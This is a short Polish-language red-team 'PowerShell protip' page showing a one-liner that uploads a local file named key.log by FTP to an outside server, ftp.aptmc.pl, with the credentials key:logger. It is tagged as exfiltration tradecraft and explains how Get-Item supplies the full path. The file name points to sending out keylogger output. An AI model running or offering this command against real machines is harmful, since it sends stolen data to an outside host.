alphasec
PowerShell protip 0066
in 𝕏

Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))

tty1 · powershell
PS> [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))
#Powershell#RedTeam#Exfil

Powyższy onliner wyśle po FTP plik key.log z aktualnego katalogu do serwera FTP znajdującego się pod adresem ftp.aptmc.pl uwierzytelniając się jako użytkownik key z hasłem logger. Oczywiście w przypadku anonimowego serwera FTP, część z użytkownikiem i hasłem byśmy pominęli.

Cmdlet Get-Item o aliase gi wykorzystany jest po to, by zapewnić pełną ścieżkę do wysyłanego pliku (zwrócony przez Get-Item obiekt pdczas rzutowania na string zwróci właściwość FullName czyli pełną ścieżkę).

Przydatne linki

docs.microsoft.com/en-us/dotnet/api/system.net.webclient dokumentacja klasy Net.WebClient, web ↗ # aptm.in/protip/0038 szybki, anonimowy serwer FTP do zapisu. protip ↗
← poprzedni protip 0065 ••• Wszystkie protipy następny → protip 0067
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: